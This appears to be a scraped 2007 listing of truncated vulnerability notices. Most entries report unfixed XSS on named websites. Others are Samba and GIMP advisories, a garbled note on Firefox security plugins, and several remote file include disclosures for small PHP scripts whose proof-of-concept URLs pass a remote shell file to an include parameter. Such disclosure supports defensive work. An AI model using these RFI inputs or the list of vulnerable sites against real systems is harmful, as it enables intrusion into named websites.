Unfixed XSS vulnerability at www.wpfind.com

Security researcher iNs uNkn0wn.eu CreW, has submitted on 29/09/2007 a cross-site-scripting XSS vulnerability affecting www.wpfind.com, which at the time of submission ranked 11656 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 02/10/2007. It ...

Unfixed XSS vulnerability at www.bsu.edu

Security researcher iNs - uNkn0wn.eu, has submitted on 27/09/2007 a cross-site-scripting XSS vulnerability affecting www.bsu.edu, which at the time of submission ranked 39263 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 02/10/2007. It is...

Unfixed XSS vulnerability at www.professioneacqua.it

Security researcher iNs uNkn0wn.eu CreW, has submitted on 27/09/2007 a cross-site-scripting XSS vulnerability affecting www.professioneacqua.it, which at the time of submission ranked 2413738 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on...

Unfixed XSS vulnerability at falla-icatolica.fallas.com

Security researcher iNs - uNkn0wn.eu, has submitted on 27/09/2007 a cross-site-scripting XSS vulnerability affecting falla-icatolica.fallas.com, which at the time of submission ranked 434050 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on...

Unfixed XSS vulnerability at www.logiciel-antispam.com

Security researcher iNs uNkn0wn.eu CreW, has submitted on 27/09/2007 a cross-site-scripting XSS vulnerability affecting www.logiciel-antispam.com, which at the time of submission ranked 2192743 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on...

Unfixed XSS vulnerability at www.charlottebiotechnology.com

Security researcher iNs uNkn0wn.eu CreW, has submitted on 27/09/2007 a cross-site-scripting XSS vulnerability affecting www.charlottebiotechnology.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on...

Unfixed XSS vulnerability at www.citixsys.com

Security researcher iNs uNkn0wn.eu CreW, has submitted on 27/09/2007 a cross-site-scripting XSS vulnerability affecting www.citixsys.com, which at the time of submission ranked 2034182 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 02/10/2007...

Unfixed XSS vulnerability at www.wradio.cl

Security researcher iNs - uNkn0wn.eu, has submitted on 27/09/2007 a cross-site-scripting XSS vulnerability affecting www.wradio.cl, which at the time of submission ranked 90843 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 02/10/2007. It is...

Unfixed XSS vulnerability at www.euroemax.it

Security researcher iNs uNkn0wn.eu CreW, has submitted on 25/09/2007 a cross-site-scripting XSS vulnerability affecting www.euroemax.it, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 01/10/2007. It is...

Unfixed XSS vulnerability at www.siamworkfromhome.com

Security researcher iNs uNkn0wn.eu CreW, has submitted on 25/09/2007 a cross-site-scripting XSS vulnerability affecting www.siamworkfromhome.com, which at the time of submission ranked 227778 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on...

Unfixed XSS vulnerability at www.spisales.com

Security researcher iNs, has submitted on 24/09/2007 a cross-site-scripting XSS vulnerability affecting www.spisales.com, which at the time of submission ranked 1133214 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 24/09/2007. It is currently...

samba -- nss_info plugin privilege escalation vulnerability

The Samba development team reports: The idmapad.so library provides an nssinfo extension to Winbind for retrieving a user's home directory path, login shell and primary group id from an Active Directory domain controller. This functionality is enabled by defining the "winbind nss info" smb.conf...

Mandrake Linux Security Advisory : gimp (MDKSA-2007:170)

Multiple integer overflows in the image loader plug-ins in GIMP before 2.2.16 allow user-assisted remote attackers to execute arbitrary code via crafted length values in 1 DICOM, 2 PNM, 3 PSD, 4 PSP, 5 Sun RAS, 6 XBM, and 7 XWD files. CVE-2006-4519 Integer overflow in the seektoandunpackpixeldata...

mcLinksCounter 1.2 Remote File Include by iNs

App Name : mcLinksCounter 1.2 HomePage: http://www.phpforums.net Vuln type : Remote File Include RFI Vuln Discovered by : iNs BUG: on file stats.php ,login.php ,detail.php : include "$langfile"; PoC: http://www.site.com/path/stats.php?langfile=sH3lLz? iNs @ uNkn0wn.eu Gr33tz t0: uNkn0wn.eu - iD -...

Butterfly online vistors counter 1.08 RFI

App Name : Butterfly online vistors counter v.1.08 HomePage : http://www.phoenix.frihost.net/butterfly/readme.php Vuln type : Remote File Include RFI Vulnerability Discovered by : iNs Vuln Code: visitor.php includeonce $SERVER"DOCUMENTROOT" . "/butterfly/custom.php"; // include settings POC:...

My_REFERER v.1.08 Remote File Include

App Name : MyREFERER v.1.08 HomePage : http://www.phoenix.frihost.net/referer/readme.php Vuln type : Remote File Include RFI Vulnerability Discovered by : iNs Vuln Code: login.php include"$value"; POC: htttp://site.com/path/login.php?value=SHELL.txt?? iNs @ uNkn0wn.eu Gr33tz t0: uNkn0wn.eu - iD -...

0day Linkliste Version 1.2 Remote File Include by iNs

Hi ,founded a new bug on this script ,I wanted to ask you if you could post it in securityvulns.com thanks in advance .. iNs Here what should be posted : App Name : Linkliste Version 1.2 HomePage : http://www.mapos-scripts.de/downloads.php?download=3 Vuln type : Remote File Include RFI Vuln...

Will Firefox into a penetration testing platform tools-vulnerability warning-the black bar safety net

Origin:http://www.security-database.com/toolswatch/Turning-Firefox-to-an-Ethical.html This document is written is indeed very interesting,which referred to a Firefox some security-related plug-ins. Some of which I particularly like,such as is used to find the IP address area of the Shazou,so cool...

Unfixed XSS vulnerability at www.ahrt.hu

Security researcher iNs uNkn0wn.eu CreW, has submitted on 07/10/2007 a cross-site-scripting XSS vulnerability affecting www.ahrt.hu, which at the time of submission ranked 777358 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 07/10/2007. It is...

Unfixed XSS vulnerability at www.platypidesigns.ca

Security researcher iNs uNkn0wn.eu CreW, has submitted on 07/10/2007 a cross-site-scripting XSS vulnerability affecting www.platypidesigns.ca, which at the time of submission ranked 4604824 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on...